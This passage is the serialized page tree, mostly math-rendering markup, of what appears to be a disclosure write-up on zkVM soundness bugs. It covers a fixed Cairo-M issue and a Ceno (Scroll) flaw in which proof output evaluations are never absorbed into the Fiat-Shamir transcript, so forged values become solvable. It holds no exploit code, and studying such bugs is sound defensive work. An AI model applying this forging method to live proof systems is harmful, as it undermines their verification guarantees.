children":116112},{"className":116111},[2035],[116113],{"type":23,"tag":139,"props":116114,"children":116116},{"className":116115,"style":112438},[2040],[116117],{"type":23,"tag":139,"props":116118,"children":116119},{},[],{"type":23,"tag":139,"props":116121,"children":116123},{"className":116122,"style":2128},[2089],[],{"type":23,"tag":139,"props":116125,"children":116127},{"className":116126},[2009],[116128,116132,116338],{"type":23,"tag":139,"props":116129,"children":116131},{"className":116130},[19725,111469],[],{"type":23,"tag":139,"props":116133,"children":116135},{"className":116134},[111474],[116136],{"type":23,"tag":139,"props":116137,"children":116139},{"className":116138},[2030,19650],[116140,116326],{"type":23,"tag":139,"props":116141,"children":116143},{"className":116142},[2035],[116144,116321],{"type":23,"tag":139,"props":116145,"children":116147},{"className":116146,"style":111487},[2040],[116148,116290,116301],{"type":23,"tag":139,"props":116149,"children":116150},{"style":111491},[116151,116155],{"type":23,"tag":139,"props":116152,"children":116154},{"className":116153,"style":110122},[2049],[],{"type":23,"tag":139,"props":116156,"children":116158},{"className":116157},[2055,2056,2057,2058],[116159],{"type":23,"tag":139,"props":116160,"children":116162},{"className":116161},[2009,2058],[116163,116168,116173,116179,116184,116189,116246,116251,116260,116265,116274,116280,116285],{"type":23,"tag":139,"props":116164,"children":116166},{"className":116165,"style":111508},[2009,19596,2058],[116167],{"type":28,"value":111511},{"type":23,"tag":139,"props":116169,"children":116171},{"className":116170},[2095,2058],[116172],{"type":28,"value":2382},{"type":23,"tag":139,"props":116174,"children":116176},{"className":116175},[19725,2058],[116177],{"type":28,"value":116178},"⟨",{"type":23,"tag":139,"props":116180,"children":116182},{"className":116181,"style":113039},[2009,19596,2058],[116183],{"type":28,"value":113042},{"type":23,"tag":139,"props":116185,"children":116187},{"className":116186},[2121,2058],[116188],{"type":28,"value":2124},{"type":23,"tag":139,"props":116190,"children":116192},{"className":116191},[2009,2058],[116193,116198],{"type":23,"tag":139,"props":116194,"children":116196},{"className":116195},[2009,19596,2058],[116197],{"type":28,"value":19738},{"type":23,"tag":139,"props":116199,"children":116201},{"className":116200},[2025],[116202],{"type":23,"tag":139,"props":116203,"children":116205},{"className":116204},[2030,19650],[116206,116235],{"type":23,"tag":139,"props":116207,"children":116209},{"className":116208},[2035],[116210,116230],{"type":23,"tag":139,"props":116211,"children":116213},{"className":116212,"style":112275},[2040],[116214],{"type":23,"tag":139,"props":116215,"children":116216},{"style":106806},[116217,116221],{"type":23,"tag":139,"props":116218,"children":116220},{"className":116219,"style":106811},[2049],[],{"type":23,"tag":139,"props":116222,"children":116224},{"className":116223},[2055,106816,106817,2058],[116225],{"type":23,"tag":139,"props":116226,"children":116228},{"className":116227},[2009,19596,2058],[116229],{"type":28,"value":1728},{"type":23,"tag":139,"props":116231,"children":116233},{"className":116232},[19753],[116234],{"type":28,"value":19756},{"type":23,"tag":139,"props":116236,"children":116238},{"className":116237},[2035],[116239],{"type":23,"tag":139,"props":116240,"children":116242},{"className":116241,"style":106836},[2040],[116243],{"type":23,"tag":139,"props":116244,"children":116245},{},[],{"type":23,"tag":139,"props":116247,"children":116249},{"className":116248},[19725,2058],[116250],{"type":28,"value":262},{"type":23,"tag":139,"props":116252,"children":116254},{"className":116253},[2009,28,2058],[116255],{"type":23,"tag":139,"props":116256,"children":116258},{"className":116257},[2009,2058],[116259],{"type":28,"value":59575},{"type":23,"tag":139,"props":116261,"children":116263},{"className":116262,"style":90951},[2009,2058],[116264],{"type":28,"value":1057},{"type":23,"tag":139,"props":116266,"children":116268},{"className":116267},[2009,28,2058],[116269],{"type":23,"tag":139,"props":116270,"children":116272},{"className":116271},[2009,2058],[116273],{"type":28,"value":1691},{"type":23,"tag":139,"props":116275,"children":116277},{"className":116276},[19747,2058],[116278],{"type":28,"value":116279},")⟩",{"type":23,"tag":139,"props":116281,"children":116283},{"className":116282},[2095,2058],[116284],{"type":28,"value":2382},{"type":23,"tag":139,"props":116286,"children":116288},{"className":116287,"style":113094},[2009,19596,2058],[116289],{"type":28,"value":113097},{"type":23,"tag":139,"props":116291,"children":116292},{"style":111524},[116293,116297],{"type":23,"tag":139,"props":116294,"children":116296},{"className":116295,"style":110122},[2049],[],{"type":23,"tag":139,"props":116298,"children":116300},{"className":116299,"style":111534},[111533],[],{"type":23,"tag":139,"props":116302,"children":116303},{"style":111538},[116304,116308],{"type":23,"tag":139,"props":116305,"children":116307},{"className":116306,"style":110122},[2049],[],{"type":23,"tag":139,"props":116309,"children":116311},{"className":116310},[2055,2056,2057,2058],[116312],{"type":23,"tag":139,"props":116313,"children":116315},{"className":116314},[2009,2058],[116316],{"type":23,"tag":139,"props":116317,"children":116319},{"className":116318},[2009,2058],[116320],{"type":28,"value":647},{"type":23,"tag":139,"props":116322,"children":116324},{"className":116323},[19753],[116325],{"type":28,"value":19756},{"type":23,"tag":139,"props":116327,"children":116329},{"className":116328},[2035],[116330],{"type":23,"tag":139,"props":116331,"children":116334},{"className":116332,"style":116333},[2040],"height:0.562em;",[116335],{"type":23,"tag":139,"props":116336,"children":116337},{},[],{"type":23,"tag":139,"props":116339,"children":116341},{"className":116340},[19747,111469],[],{"type":23,"tag":139,"props":116343,"children":116345},{"className":116344},[2009],[116346],{"type":28,"value":73},{"type":23,"tag":24,"props":116348,"children":116349},{},[116350,116352],{"type":28,"value":116351},"The global check is then that ",{"type":23,"tag":135,"props":116353,"children":116355},{"className":116354},[1981,1982],[116356],{"type":23,"tag":139,"props":116357,"children":116359},{"className":116358},[1987],[116360],{"type":23,"tag":139,"props":116361,"children":116363},{"className":116362,"ariaHidden":1993},[1992],[116364,116405,116436],{"type":23,"tag":139,"props":116365,"children":116367},{"className":116366},[1998],[116368,116372,116377,116382,116387,116392,116396,116401],{"type":23,"tag":139,"props":116369,"children":116371},{"className":116370,"style":2110},[2003],[],{"type":23,"tag":139,"props":116373,"children":116375},{"className":116374},[2009,19596],[116376],{"type":28,"value":115915},{"type":23,"tag":139,"props":116378,"children":116380},{"className":116379},[19725],[116381],{"type":28,"value":262},{"type":23,"tag":139,"props":116383,"children":116385},{"className":116384},[2009,19596],[116386],{"type":28,"value":24},{"type":23,"tag":139,"props":116388,"children":116390},{"className":116389},[19747],[116391],{"type":28,"value":1104},{"type":23,"tag":139,"props":116393,"children":116395},{"className":116394,"style":2090},[2089],[],{"type":23,"tag":139,"props":116397,"children":116399},{"className":116398},[2095],[116400],{"type":28,"value":2382},{"type":23,"tag":139,"props":116402,"children":116404},{"className":116403,"style":2090},[2089],[],{"type":23,"tag":139,"props":116406,"children":116408},{"className":116407},[1998],[116409,116413,116423,116427,116432],{"type":23,"tag":139,"props":116410,"children":116412},{"className":116411,"style":2110},[2003],[],{"type":23,"tag":139,"props":116414,"children":116416},{"className":116415},[2009,28],[116417],{"type":23,"tag":139,"props":116418,"children":116420},{"className":116419},[2009],[116421],{"type":28,"value":116422},"(other terms)",{"type":23,"tag":139,"props":116424,"children":116426},{"className":116425,"style":2187},[2089],[],{"type":23,"tag":139,"props":116428,"children":116430},{"className":116429},[2192],[116431],{"type":28,"value":1067},{"type":23,"tag":139,"props":116433,"children":116435},{"className":116434,"style":2187},[2089],[],{"type":23,"tag":139,"props":116437,"children":116439},{"className":116438},[1998],[116440,116444],{"type":23,"tag":139,"props":116441,"children":116443},{"className":116442,"style":91982},[2003],[],{"type":23,"tag":139,"props":116445,"children":116447},{"className":116446},[2009],[116448],{"type":28,"value":2021},{"type":23,"tag":24,"props":116450,"children":116451},{},[116452],{"type":28,"value":116453},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":116455,"children":116456},{},[116457],{"type":28,"value":116458},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":116460,"children":116461},{},[116462,116466,116468],{"type":23,"tag":56,"props":116463,"children":116464},{},[116465],{"type":28,"value":114661},{"type":28,"value":116467}," Fixed on October 31, 2025 via ",{"type":23,"tag":64,"props":116469,"children":116472},{"href":116470,"rel":116471},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[68],[116473],{"type":28,"value":116474},"commit 92b6740",{"type":23,"tag":16800,"props":116476,"children":116477},{},[],{"type":23,"tag":666,"props":116479,"children":116481},{"id":116480},"ceno-scroll",[116482],{"type":28,"value":116483},"Ceno (Scroll)",{"type":23,"tag":24,"props":116485,"children":116486},{},[116487],{"type":28,"value":116488},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":116490,"children":116491},{},[116492,116494,116499],{"type":28,"value":116493},"Ceno splits verification into ",{"type":23,"tag":56,"props":116495,"children":116496},{},[116497],{"type":28,"value":116498},"chips",{"type":28,"value":116500},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":116502,"children":116503},{},[116504,116506,116511],{"type":28,"value":116505},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":56,"props":116507,"children":116508},{},[116509],{"type":28,"value":116510},"tower sumcheck",{"type":28,"value":73},{"type":23,"tag":24,"props":116513,"children":116514},{},[116515],{"type":28,"value":116516},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":116518,"children":116519},{},[116520],{"type":23,"tag":135,"props":116521,"children":116523},{"className":116522},[1981,1982],[116524],{"type":23,"tag":139,"props":116525,"children":116527},{"className":116526},[1987],[116528],{"type":23,"tag":139,"props":116529,"children":116531},{"className":116530,"ariaHidden":1993},[1992],[116532,116706,116879],{"type":23,"tag":139,"props":116533,"children":116535},{"className":116534},[1998],[116536,116540,116598,116602,116611,116616,116626,116631,116693,116697,116702],{"type":23,"tag":139,"props":116537,"children":116539},{"className":116538,"style":90893},[2003],[],{"type":23,"tag":139,"props":116541,"children":116543},{"className":116542},[19632],[116544,116550],{"type":23,"tag":139,"props":116545,"children":116547},{"className":116546,"style":19639},[19632,19637,19638],[116548],{"type":28,"value":116549},"∏",{"type":23,"tag":139,"props":116551,"children":116553},{"className":116552},[2025],[116554],{"type":23,"tag":139,"props":116555,"children":116557},{"className":116556},[2030,19650],[116558,116587],{"type":23,"tag":139,"props":116559,"children":116561},{"className":116560},[2035],[116562,116582],{"type":23,"tag":139,"props":116563,"children":116565},{"className":116564,"style":112158},[2040],[116566],{"type":23,"tag":139,"props":116567,"children":116568},{"style":19663},[116569,116573],{"type":23,"tag":139,"props":116570,"children":116572},{"className":116571,"style":2050},[2049],[],{"type":23,"tag":139,"props":116574,"children":116576},{"className":116575},[2055,2056,2057,2058],[116577],{"type":23,"tag":139,"props":116578,"children":116580},{"className":116579},[2009,19596,2058],[116581],{"type":28,"value":1728},{"type":23,"tag":139,"props":116583,"children":116585},{"className":116584},[19753],[116586],{"type":28,"value":19756},{"type":23,"tag":139,"props":116588,"children":116590},{"className":116589},[2035],[116591],{"type":23,"tag":139,"props":116592,"children":116594},{"className":116593,"style":112438},[2040],[116595],{"type":23,"tag":139,"props":116596,"children":116597},{},[],{"type":23,"tag":139,"props":116599,"children":116601},{"className":116600,"style":2128},[2089],[],{"type":23,"tag":139,"props":116603,"children":116605},{"className":116604},[2009,28],[116606],{"type":23,"tag":139,"props":116607,"children":116609},{"className":116608},[2009],[116610],{"type":28,"value":91770},{"type":23,"tag":139,"props":116612,"children":116614},{"className":116613,"style":90951},[2009],[116615],{"type":28,"value":1057},{"type":23,"tag":139,"props":116617,"children":116619},{"className":116618},[2009,28],[116620],{"type":23,"tag":139,"props":116621,"children":116623},{"className":116622},[2009],[116624],{"type":28,"value":116625},"out",{"type":23,"tag":139,"props":116627,"children":116629},{"className":116628,"style":90951},[2009],[116630],{"type":28,"value":1057},{"type":23,"tag":139,"props":116632,"children":116634},{"className":116633},[2009],[116635,116645],{"type":23,"tag":139,"props":116636,"children":116638},{"className":116637},[2009,28],[116639],{"type":23,"tag":139,"props":116640,"children":116642},{"className":116641},[2009],[116643],{"type":28,"value":116644},"evals",{"type":23,"tag":139,"props":116646,"children":116648},{"className":116647},[2025],[116649],{"type":23,"tag":139,"props":116650,"children":116652},{"className":116651},[2030,19650],[116653,116682],{"type":23,"tag":139,"props":116654,"children":116656},{"className":116655},[2035],[116657,116677],{"type":23,"tag":139,"props":116658,"children":116660},{"className":116659,"style":91480},[2040],[116661],{"type":23,"tag":139,"props":116662,"children":116663},{"style":112081},[116664,116668],{"type":23,"tag":139,"props":116665,"children":116667},{"className":116666,"style":2050},[2049],[],{"type":23,"tag":139,"props":116669,"children":116671},{"className":116670},[2055,2056,2057,2058],[116672],{"type":23,"tag":139,"props":116673,"children":116675},{"className":116674},[2009,19596,2058],[116676],{"type":28,"value":1728},{"type":23,"tag":139,"props":116678,"children":116680},{"className":116679},[19753],[116681],{"type":28,"value":19756},{"type":23,"tag":139,"props":116683,"children":116685},{"className":116684},[2035],[116686],{"type":23,"tag":139,"props":116687,"children":116689},{"className":116688,"style":91034},[2040],[116690],{"type":23,"tag":139,"props":116691,"children":116692},{},[],{"type":23,"tag":139,"props":116694,"children":116696},{"className":116695,"style":2187},[2089],[],{"type":23,"tag":139,"props":116698,"children":116700},{"className":116699},[2192],[116701],{"type":28,"value":1067},{"type":23,"tag":139,"props":116703,"children":116705},{"className":116704,"style":2187},[2089],[],{"type":23,"tag":139,"props":116707,"children":116709},{"className":116708},[1998],[116710,116715,116772,116776,116785,116790,116799,116804,116866,116870,116875],{"type":23,"tag":139,"props":116711,"children":116714},{"className":116712,"style":116713},[2003],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":139,"props":116716,"children":116718},{"className":116717},[19632],[116719,116724],{"type":23,"tag":139,"props":116720,"children":116722},{"className":116721,"style":19639},[19632,19637,19638],[116723],{"type":28,"value":116549},{"type":23,"tag":139,"props":116725,"children":116727},{"className":116726},[2025],[116728],{"type":23,"tag":139,"props":116729,"children":116731},{"className":116730},[2030,19650],[116732,116761],{"type":23,"tag":139,"props":116733,"children":116735},{"className":116734},[2035],[116736,116756],{"type":23,"tag":139,"props":116737,"children":116739},{"className":116738,"style":112158},[2040],[116740],{"type":23,"tag":139,"props":116741,"children":116742},{"style":19663},[116743,116747],{"type":23,"tag":139,"props":116744,"children":116746},{"className":116745,"style":2050},[2049],[],{"type":23,"tag":139,"props":116748,"children":116750},{"className":116749},[2055,2056,2057,2058],[116751],{"type":23,"tag":139,"props":116752,"children":116754},{"className":116753,"style":112174},[2009,19596,2058],[116755],{"type":28,"value":6661},{"type":23,"tag":139,"props":116757,"children":116759},{"className":116758},[19753],[116760],{"type":28,"value":19756},{"type":23,"tag":139,"props":116762,"children":116764},{"className":116763},[2035],[116765],{"type":23,"tag":139,"props":116766,"children":116768},{"className":116767,"style":112189},[2040],[116769],{"type":23,"tag":139,"props":116770,"children":116771},{},[],{"type":23,"tag":139,"props":116773,"children":116775},{"className":116774,"style":2128},[2089],[],{"type":23,"tag":139,"props":116777,"children":116779},{"className":116778},[2009,28],[116780],{"type":23,"tag":139,"props":116781,"children":116783},{"className":116782},[2009],[116784],{"type":28,"value":47469},{"type":23,"tag":139,"props":116786,"children":116788},{"className":116787,"style":90951},[2009],[116789],{"type":28,"value":1057},{"type":23,"tag":139,"props":116791,"children":116793},{"className":116792},[2009,28],[116794],{"type":23,"tag":139,"props":116795,"children":116797},{"className":116796},[2009],[116798],{"type":28,"value":116625},{"type":23,"tag":139,"props":116800,"children":116802},{"className":116801,"style":90951},[2009],[116803],{"type":28,"value":1057},{"type":23,"tag":139,"props":116805,"children":116807},{"className":116806},[2009],[116808,116817],{"type":23,"tag":139,"props":116809,"children":116811},{"className":116810},[2009,28],[116812],{"type":23,"tag":139,"props":116813,"children":116815},{"className":116814},[2009],[116816],{"type":28,"value":116644},{"type":23,"tag":139,"props":116818,"children":116820},{"className":116819},[2025],[116821],{"type":23,"tag":139,"props":116822,"children":116824},{"className":116823},[2030,19650],[116825,116854],{"type":23,"tag":139,"props":116826,"children":116828},{"className":116827},[2035],[116829,116849],{"type":23,"tag":139,"props":116830,"children":116832},{"className":116831,"style":91480},[2040],[116833],{"type":23,"tag":139,"props":116834,"children":116835},{"style":112081},[116836,116840],{"type":23,"tag":139,"props":116837,"children":116839},{"className":116838,"style":2050},[2049],[],{"type":23,"tag":139,"props":116841,"children":116843},{"className":116842},[2055,2056,2057,2058],[116844],{"type":23,"tag":139,"props":116845,"children":116847},{"className":116846,"style":112174},[2009,19596,2058],[116848],{"type":28,"value":6661},{"type":23,"tag":139,"props":116850,"children":116852},{"className":116851},[19753],[116853],{"type":28,"value":19756},{"type":23,"tag":139,"props":116855,"children":116857},{"className":116856},[2035],[116858],{"type":23,"tag":139,"props":116859,"children":116862},{"className":116860,"style":116861},[2040],"height:0.2861em;",[116863],{"type":23,"tag":139,"props":116864,"children":116865},{},[],{"type":23,"tag":139,"props":116867,"children":116869},{"className":116868,"style":2090},[2089],[],{"type":23,"tag":139,"props":116871,"children":116873},{"className":116872},[2095],[116874],{"type":28,"value":109213},{"type":23,"tag":139,"props":116876,"children":116878},{"className":116877,"style":2090},[2089],[],{"type":23,"tag":139,"props":116880,"children":116882},{"className":116881},[1998],[116883,116887,116892,116902],{"type":23,"tag":139,"props":116884,"children":116886},{"className":116885,"style":2110},[2003],[],{"type":23,"tag":139,"props":116888,"children":116890},{"className":116889},[19725],[116891],{"type":28,"value":262},{"type":23,"tag":139,"props":116893,"children":116895},{"className":116894},[2009,28],[116896],{"type":23,"tag":139,"props":116897,"children":116899},{"className":116898},[2009],[116900],{"type":28,"value":116901},"state factors",{"type":23,"tag":139,"props":116903,"children":116905},{"className":116904},[19747],[116906],{"type":28,"value":1104},{"type":23,"tag":24,"props":116908,"children":116909},{},[116910],{"type":23,"tag":56,"props":116911,"children":116912},{},[116913],{"type":28,"value":113367},{"type":23,"tag":128,"props":116915,"children":116917},{"code":116916},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[116918],{"type":23,"tag":135,"props":116919,"children":116920},{"__ignoreMap":7},[116921],{"type":28,"value":116916},{"type":23,"tag":24,"props":116923,"children":116924},{},[116925,116931,116932,116938,116939,116945],{"type":23,"tag":135,"props":116926,"children":116928},{"className":116927},[],[116929],{"type":28,"value":116930},"r_out_evals",{"type":28,"value":1052},{"type":23,"tag":135,"props":116933,"children":116935},{"className":116934},[],[116936],{"type":28,"value":116937},"w_out_evals",{"type":28,"value":4490},{"type":23,"tag":135,"props":116940,"children":116942},{"className":116941},[],[116943],{"type":28,"value":116944},"lk_out_evals",{"type":28,"value":116946}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":797,"props":116948,"children":116949},{},[116950],{"type":23,"tag":801,"props":116951,"children":116952},{},[116953,116958,116960,116966],{"type":23,"tag":56,"props":116954,"children":116955},{},[116956],{"type":28,"value":116957},"GKR/Tower equation",{"type":28,"value":116959}," (linear in ",{"type":23,"tag":135,"props":116961,"children":116963},{"className":116962},[],[116964],{"type":28,"value":116965},"out_evals",{"type":28,"value":21966},{"type":23,"tag":24,"props":116968,"children":116969},{},[116970,116972],{"type":28,"value":116971},"The tower sumcheck claim is ",{"type":23,"tag":135,"props":116973,"children":116975},{"className":116974},[1981,1982],[116976],{"type":23,"tag":139,"props":116977,"children":116979},{"className":116978},[1987],[116980],{"type":23,"tag":139,"props":116981,"children":116983},{"className":116982,"ariaHidden":1993},[1992],[116984,117015,117140],{"type":23,"tag":139,"props":116985,"children":116987},{"className":116986},[1998],[116988,116992,117002,117006,117011],{"type":23,"tag":139,"props":116989,"children":116991},{"className":116990,"style":90866},[2003],[],{"type":23,"tag":139,"props":116993,"children":116995},{"className":116994},[2009,28],[116996],{"type":23,"tag":139,"props":116997,"children":116999},{"className":116998},[2009],[117000],{"type":28,"value":117001},"claim",{"type":23,"tag":139,"props":117003,"children":117005},{"className":117004,"style":2187},[2089],[],{"type":23,"tag":139,"props":117007,"children":117009},{"className":117008},[2192],[117010],{"type":28,"value":1067},{"type":23,"tag":139,"props":117012,"children":117014},{"className":117013,"style":2187},[2089],[],{"type":23,"tag":139,"props":117016,"children":117018},{"className":117017},[1998],[117019,117024,117081,117085,117127,117131,117136],{"type":23,"tag":139,"props":117020,"children":117023},{"className":117021,"style":117022},[2003],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":139,"props":117025,"children":117027},{"className":117026},[19632],[117028,117033],{"type":23,"tag":139,"props":117029,"children":117031},{"className":117030,"style":19639},[19632,19637,19638],[117032],{"type":28,"value":106746},{"type":23,"tag":139,"props":117034,"children":117036},{"className":117035},[2025],[117037],{"type":23,"tag":139,"props":117038,"children":117040},{"className":117039},[2030,19650],[117041,117070],{"type":23,"tag":139,"props":117042,"children":117044},{"className":117043},[2035],[117045,117065],{"type":23,"tag":139,"props":117046,"children":117048},{"className":117047,"style":112158},[2040],[117049],{"type":23,"tag":139,"props":117050,"children":117051},{"style":19663},[117052,117056],{"type":23,"tag":139,"props":117053,"children":117055},{"className":117054,"style":2050},[2049],[],{"type":23,"tag":139,"props":117057,"children":117059},{"className":117058},[2055,2056,2057,2058],[117060],{"type":23,"tag":139,"props":117061,"children":117063},{"className":117062,"style":112174},[2009,19596,2058],[117064],{"type":28,"value":6661},{"type":23,"tag":139,"props":117066,"children":117068},{"className":117067},[19753],[117069],{"type":28,"value":19756},{"type":23,"tag":139,"props":117071,"children":117073},{"className":117072},[2035],[117074],{"type":23,"tag":139,"props":117075,"children":117077},{"className":117076,"style":112189},[2040],[117078],{"type":23,"tag":139,"props":117079,"children":117080},{},[],{"type":23,"tag":139,"props":117082,"children":117084},{"className":117083,"style":2128},[2089],[],{"type":23,"tag":139,"props":117086,"children":117088},{"className":117087},[2009],[117089,117094],{"type":23,"tag":139,"props":117090,"children":117092},{"className":117091,"style":113039},[2009,19596],[117093],{"type":28,"value":113042},{"type":23,"tag":139,"props":117095,"children":117097},{"className":117096},[2025],[117098],{"type":23,"tag":139,"props":117099,"children":117101},{"className":117100},[2030],[117102],{"type":23,"tag":139,"props":117103,"children":117105},{"className":117104},[2035],[117106],{"type":23,"tag":139,"props":117107,"children":117110},{"className":117108,"style":117109},[2040],"height:0.8247em;",[117111],{"type":23,"tag":139,"props":117112,"children":117113},{"style":2044},[117114,117118],{"type":23,"tag":139,"props":117115,"children":117117},{"className":117116,"style":2050},[2049],[],{"type":23,"tag":139,"props":117119,"children":117121},{"className":117120},[2055,2056,2057,2058],[117122],{"type":23,"tag":139,"props":117123,"children":117125},{"className":117124,"style":112174},[2009,19596,2058],[117126],{"type":28,"value":6661},{"type":23,"tag":139,"props":117128,"children":117130},{"className":117129,"style":2090},[2089],[],{"type":23,"tag":139,"props":117132,"children":117134},{"className":117133},[2095],[117135],{"type":28,"value":109213},{"type":23,"tag":139,"props":117137,"children":117139},{"className":117138,"style":2090},[2089],[],{"type":23,"tag":139,"props":117141,"children":117143},{"className":117142},[1998],[117144,117148,117157,117162],{"type":23,"tag":139,"props":117145,"children":117147},{"className":117146,"style":92364},[2003],[],{"type":23,"tag":139,"props":117149,"children":117151},{"className":117150},[2009,28],[117152],{"type":23,"tag":139,"props":117153,"children":117155},{"className":117154},[2009],[117156],{"type":28,"value":116625},{"type":23,"tag":139,"props":117158,"children":117160},{"className":117159,"style":90951},[2009],[117161],{"type":28,"value":1057},{"type":23,"tag":139,"props":117163,"children":117165},{"className":117164},[2009],[117166,117175],{"type":23,"tag":139,"props":117167,"children":117169},{"className":117168},[2009,28],[117170],{"type":23,"tag":139,"props":117171,"children":117173},{"className":117172},[2009],[117174],{"type":28,"value":116644},{"type":23,"tag":139,"props":117176,"children":117178},{"className":117177},[2025],[117179],{"type":23,"tag":139,"props":117180,"children":117182},{"className":117181},[2030,19650],[117183,117212],{"type":23,"tag":139,"props":117184,"children":117186},{"className":117185},[2035],[117187,117207],{"type":23,"tag":139,"props":117188,"children":117190},{"className":117189,"style":91480},[2040],[117191],{"type":23,"tag":139,"props":117192,"children":117193},{"style":112081},[117194,117198],{"type":23,"tag":139,"props":117195,"children":117197},{"className":117196,"style":2050},[2049],[],{"type":23,"tag":139,"props":117199,"children":117201},{"className":117200},[2055,2056,2057,2058],[117202],{"type":23,"tag":139,"props":117203,"children":117205},{"className":117204,"style":112174},[2009,19596,2058],[117206],{"type":28,"value":6661},{"type":23,"tag":139,"props":117208,"children":117210},{"className":117209},[19753],[117211],{"type":28,"value":19756},{"type":23,"tag":139,"props":117213,"children":117215},{"className":117214},[2035],[117216],{"type":23,"tag":139,"props":117217,"children":117219},{"className":117218,"style":116861},[2040],[117220],{"type":23,"tag":139,"props":117221,"children":117222},{},[],{"type":23,"tag":24,"props":117224,"children":117225},{},[117226,117228,117233],{"type":28,"value":117227},"This check is linear in ",{"type":23,"tag":135,"props":117229,"children":117231},{"className":117230},[],[117232],{"type":28,"value":116965},{"type":28,"value":73},{"type":23,"tag":797,"props":117235,"children":117236},{"start":151},[117237],{"type":23,"tag":801,"props":117238,"children":117239},{},[117240,117245,117247,117252],{"type":23,"tag":56,"props":117241,"children":117242},{},[117243],{"type":28,"value":117244},"rw-product consistency",{"type":28,"value":117246}," (bilinear in ",{"type":23,"tag":135,"props":117248,"children":117250},{"className":117249},[],[117251],{"type":28,"value":116965},{"type":28,"value":21966},{"type":23,"tag":24,"props":117254,"children":117255},{},[117256],{"type":23,"tag":135,"props":117257,"children":117259},{"className":117258},[1981,1982],[117260],{"type":23,"tag":139,"props":117261,"children":117263},{"className":117262},[1987],[117264],{"type":23,"tag":139,"props":117265,"children":117267},{"className":117266,"ariaHidden":1993},[1992],[117268,117439,117610],{"type":23,"tag":139,"props":117269,"children":117271},{"className":117270},[1998],[117272,117276,117333,117337,117346,117351,117360,117365,117426,117430,117435],{"type":23,"tag":139,"props":117273,"children":117275},{"className":117274,"style":90893},[2003],[],{"type":23,"tag":139,"props":117277,"children":117279},{"className":117278},[19632],[117280,117285],{"type":23,"tag":139,"props":117281,"children":117283},{"className":117282,"style":19639},[19632,19637,19638],[117284],{"type":28,"value":116549},{"type":23,"tag":139,"props":117286,"children":117288},{"className":117287},[2025],[117289],{"type":23,"tag":139,"props":117290,"children":117292},{"className":117291},[2030,19650],[117293,117322],{"type":23,"tag":139,"props":117294,"children":117296},{"className":117295},[2035],[117297,117317],{"type":23,"tag":139,"props":117298,"children":117300},{"className":117299,"style":112158},[2040],[117301],{"type":23,"tag":139,"props":117302,"children":117303},{"style":19663},[117304,117308],{"type":23,"tag":139,"props":117305,"children":117307},{"className":117306,"style":2050},[2049],[],{"type":23,"tag":139,"props":117309,"children":117311},{"className":117310},[2055,2056,2057,2058],[117312],{"type":23,"tag":139,"props":117313,"children":117315},{"className":117314},[2009,19596,2058],[117316],{"type":28,"value":1728},{"type":23,"tag":139,"props":117318,"children":117320},{"className":117319},[19753],[117321],{"type":28,"value":19756},{"type":23,"tag":139,"props":117323,"children":117325},{"className":117324},[2035],[117326],{"type":23,"tag":139,"props":117327,"children":117329},{"className":117328,"style":112438},[2040],[117330],{"type":23,"tag":139,"props":117331,"children":117332},{},[],{"type":23,"tag":139,"props":117334,"children":117336},{"className":117335,"style":2128},[2089],[],{"type":23,"tag":139,"props":117338,"children":117340},{"className":117339},[2009,28],[117341],{"type":23,"tag":139,"props":117342,"children":117344},{"className":117343},[2009],[117345],{"type":28,"value":91770},{"type":23,"tag":139,"props":117347,"children":117349},{"className":117348,"style":90951},[2009],[117350],{"type":28,"value":1057},{"type":23,"tag":139,"props":117352,"children":117354},{"className":117353},[2009,28],[117355],{"type":23,"tag":139,"props":117356,"children":117358},{"className":117357},[2009],[117359],{"type":28,"value":116625},{"type":23,"tag":139,"props":117361,"children":117363},{"className":117362,"style":90951},[2009],[117364],{"type":28,"value":1057},{"type":23,"tag":139,"props":117366,"children":117368},{"className":117367},[2009],[117369,117378],{"type":23,"tag":139,"props":117370,"children":117372},{"className":117371},[2009,28],[117373],{"type":23,"tag":139,"props":117374,"children":117376},{"className":117375},[2009],[117377],{"type":28,"value":116644},{"type":23,"tag":139,"props":117379,"children":117381},{"className":117380},[2025],[117382],{"type":23,"tag":139,"props":117383,"children":117385},{"className":117384},[2030,19650],[117386,117415],{"type":23,"tag":139,"props":117387,"children":117389},{"className":117388},[2035],[117390,117410],{"type":23,"tag":139,"props":117391,"children":117393},{"className":117392,"style":91480},[2040],[117394],{"type":23,"tag":139,"props":117395,"children":117396},{"style":112081},[117397,117401],{"type":23,"tag":139,"props":117398,"children":117400},{"className":117399,"style":2050},[2049],[],{"type":23,"tag":139,"props":117402,"children":117404},{"className":117403},[2055,2056,2057,2058],[117405],{"type":23,"tag":139,"props":117406,"children":117408},{"className":117407},[2009,19596,2058],[117409],{"type":28,"value":1728},{"type":23,"tag":139,"props":117411,"children":117413},{"className":117412},[19753],[117414],{"type":28,"value":19756},{"type":23,"tag":139,"props":117416,"children":117418},{"className":117417},[2035],[117419],{"type":23,"tag":139,"props":117420,"children":117422},{"className":117421,"style":91034},[2040],[117423],{"type":23,"tag":139,"props":117424,"children":117425},{},[],{"type":23,"tag":139,"props":117427,"children":117429},{"className":117428,"style":2187},[2089],[],{"type":23,"tag":139,"props":117431,"children":117433},{"className":117432},[2192],[117434],{"type":28,"value":1067},{"type":23,"tag":139,"props":117436,"children":117438},{"className":117437,"style":2187},[2089],[],{"type":23,"tag":139,"props":117440,"children":117442},{"className":117441},[1998],[117443,117447,117504,117508,117517,117522,117531,117536,117597,117601,1176